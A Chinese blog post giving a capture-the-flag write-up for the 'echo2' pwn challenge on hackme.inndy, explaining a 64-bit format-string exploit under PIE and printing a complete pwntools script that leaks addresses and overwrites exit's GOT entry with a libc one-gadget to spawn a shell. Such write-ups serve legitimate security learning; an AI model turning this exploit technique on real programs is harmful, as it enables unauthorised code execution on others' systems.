hackme inndy pwn echo2 writeup

原创

charlie_heng 于 2017-12-30 23:00:42 发布 720 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/78940020

这题做了好久。。。但是学到了很多很骚的思路

做完echo1，然后看了下echo2，本来以为只是简单的从32位变成64位，但是发现坑贼多。。。。

首先，用checksec看了下，发现开了pie。。。那就不能简单的改got表，还要用格式化字符串漏洞来泄漏出一个指向程序本身的指针

第二，因为是64位系统，所以一个地址是8个字节，但是这里实际只有6个字节是有内容的，有两个字节是00，所以就不能用pwntools生成的payload来直接打，要自己手动写一波payload，而且还要写多次，这样就不能像echo一样直接把printf的got表的值直接改成system的

那么怎么解决呢？

针对第一个问题，输入一长串%lx，看了下，第41个参数的位置存了一个指针，因为开了pie，所以直接把最低三位给抹去就是基址了

然后针对第二个问题的话，这里就要手动写一波leak和write了

```
    def leak(addr):
        p.sendline('%8$sAAAABBBBCCCC'+p64(addr))
        data=p.recvuntil('AAAABBBB')
        p.recvrepeat(0.1)
        return data[:-8]

    def write(b,addr):
        print('write in',hex(addr))
        payload='%'+str(b)+'c%8$hhn'
        payload+='A'*(16-len(payload))
        payload+=p64(addr)
        p.sendline(payload)
        time.sleep(1)
```

那么这里能write之后 write哪里，write什么值呢？

看了一波别人的writeup，发现了一个骚操作，在libc里面一个地方是执行了execve(“/bin/sh”, &v48, environ);，把这个偏移叫做magic值，把exit的got表的值改成libc+magic，那么就直接一发getshell

这里忘记说了，这里的libc是来自网站给的libc，但是如果没libc的话，也可以泄漏出两个函数的libc地址，用libc-database搜一波

最终的代码如下：

```python
from pwn import *
import time

debug=0
if debug:
    p=process('./echo2')
    e=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    magic=0x0D691F
else:
    p=remote('hackme.inndy.tw', 7712)
    e=ELF('./libc.so')
    magic=0x0f0897

context.bits=64
context.log_level='debug'
p.sendline("%41$lx") #得到指向程序的指針

addr=p.recv(12)[:-3]+"000"

addr=int(addr,16)

print(hex(addr))

#gdb.attach(proc.pidof(p)[0])

def leak(addr):
    p.sendline('%8$sAAAABBBBCCCC'+p64(addr))
    data=p.recvuntil('AAAABBBB')
    p.recvrepeat(0.1)
    return data[:-8]

def write(b,addr):
    print('write in',hex(addr))
    payload='%'+str(b)+'c%8$hhn'
    payload+='A'*(16-len(payload))
    payload+=p64(addr)
    p.sendline(payload)
    time.sleep(1)

#write(16,0x201048+addr)
import struct

printfa=leak(0x201020+addr)[1:] #leak libc地址

printfa=struct.unpack('<Q',printfa+'\x00'*2)[0]

libc=printfa-e.symbols['printf']

magic_addr=magic+libc

print(hex(magic_addr))

magicc=struct.pack('<Q',magic_addr)

for i in range(6):
    write(ord(magicc[i]),addr+0x201048+i)#多次寫

p.interactive()
```